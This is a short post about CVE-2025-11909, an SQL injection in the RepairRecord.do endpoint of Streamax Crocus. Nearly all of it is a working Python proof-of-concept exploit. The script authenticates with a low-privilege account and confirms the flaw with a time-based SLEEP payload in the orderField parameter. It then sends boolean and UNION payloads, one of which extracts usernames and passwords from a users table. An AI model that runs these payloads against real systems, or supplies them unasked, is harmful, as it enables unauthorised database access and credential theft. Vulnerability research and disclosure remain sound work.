CVE-2025-11909：Streamax Crocus系统RepairRecord接口SQL注入漏洞

# CVE-2025-11909 PoC - Streamax Crocus SQL Injection # Vulnerability: SQL Injection in /RepairRecord.do?Action=QueryLast (orderField parameter) # Author: FightingLzn9 import requests # Target configuration TARGET_URL = "http://target-host" LOGIN_URL = f"{TARGET_URL}/login.do" VULN_URL = f"{TARGET_URL}/RepairRecord.do?Action=QueryLast" # Low-privilege credentials (required for PR:L attack vector) USERNAME = "low_priv_user" PASSWORD = "password123" def exploit_sql_injection(): """ Exploit SQL injection via orderField parameter in queryLast function. Uses time-based blind injection to confirm vulnerability and extract data. """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { "username": USERNAME, "password": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Inject malicious SQL via orderField parameter # Time-based blind injection payload payload = "id;SELECT/**/SLEEP(5)--" inject_params = { "orderField": payload } # Step 3: Send malicious request response = session.get(VULN_URL, params=inject_params, timeout=15) if response.elapsed.total_seconds() >= 5: print("[+] Target is vulnerable to CVE-2025-11909!") print(f"[+] Response time: {response.elapsed.total_seconds()}s (delayed by SLEEP)") return True else: print("[-] Target does not appear vulnerable.") return False def extract_data(): """ Extract database information using UNION-based or boolean-based injection. """ session = requests.Session() session.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) # Boolean-based blind injection to extract table names payloads = [ "(SELECT/**/CASE/**/WHEN/**/(1=1)/**/THEN/**/1/**/ELSE/**/1/**/END)--", "id/**/AND/**/1=1--", "id/**/UNION/**/SELECT/**/NULL,username,password,NULL/**/FROM/**/users--" ] for payload in payloads: response = session.get(VULN_URL, params={"orderField": payload}) print(f"[*] Payload: {payload}") print(f"[*] Response length: {len(response.text)}") if __name__ == "__main__": if exploit_sql_injection(): extract_data()